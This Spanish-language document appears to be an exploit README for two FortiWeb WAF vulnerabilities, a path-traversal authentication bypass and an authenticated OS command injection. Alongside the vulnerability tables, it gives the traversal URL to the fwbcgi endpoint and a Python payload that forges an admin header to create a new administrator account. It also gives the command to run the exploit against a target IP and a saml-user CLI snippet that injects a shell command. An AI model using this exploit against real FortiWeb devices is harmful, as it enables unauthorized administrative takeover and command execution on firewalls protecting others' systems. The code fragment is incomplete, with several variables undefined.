
Vulnerabilidad FORTIWEB_CVE-2025-64446 & CVE-2025-58034
FortiWeb es un dispositivo Web Application Firewall (WAF) utilizado para proteger aplicaciones web.
En el año 2025, se descubrieron dos vulnerabilidades críticas:
| Elemento | Contenido |
|---|---|
| Tipo de vulnerabilidad | Path Traversal relativo Omisión de autenticación |
| Causa | FortiWeb maneja las rutas de forma poco rigurosa antes de la autenticación: - Control de acceso basado en una cadena de ruta lógica - No normaliza completamente la ruta - Permite el uso de ../ para acceder a recursos internos |
| Descripción | Algunos endpoints de administración pueden ser accedidos sin una autenticación válida |
| Impacto | - Omisión completa de la autenticación - Acceso no autorizado a funciones de administración - Ruptura del modelo de privilegios |
| Versiones afectadas | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
Ejemplo:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Esto ayuda a evitar conflictos de versiones de bibliotecas, garantiza la estabilidad del entorno de trabajo y limita el impacto en el sistema.
Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Ejecutar la herramienta con Python3:
python3 exploit.py <IP_target>
<IP_target>: La dirección IP aquí es el nombre de host del dispositivo FortiWeb.
Se obtiene nombre de usuario y contraseña -> proceder al inicio de sesión
Explotación exitosa y se crea una nueva cuenta con privilegios de administrador.
Después de iniciar sesión exitosamente con la nueva cuenta de administrador, el atacante puede explotar la vulnerabilidad de inyección de comandos autenticada mediante solicitudes especialmente diseñadas o directamente a través de la interfaz de línea de comandos de FortiWeb CLI:
config user saml-user
edit "`id`" ## ingresar el comando aquí
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb saldrá de la cadena de configuración y ejecutará el comando id durante el proceso de configuración de saml-user.
| Elemento | Contenido |
|---|
| Tipo de vulnerabilidad | Inyección de comandos del sistema operativo (CWE-78) |
| Causa | FortiWeb procesa la entrada de forma insegura al ejecutar comandos del sistema: - No valida la entrada - Falta de escape de caracteres especiales - Pasa datos de usuario directamente a comandos del sistema |
| Descripción | La vulnerabilidad requiere autenticación pero permite la inyección de comandos del sistema |
| Impacto | - Ejecución de comandos no deseados - Acceso a recursos del sistema - Afecta la integridad y disponibilidad |
| Versiones afectadas | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |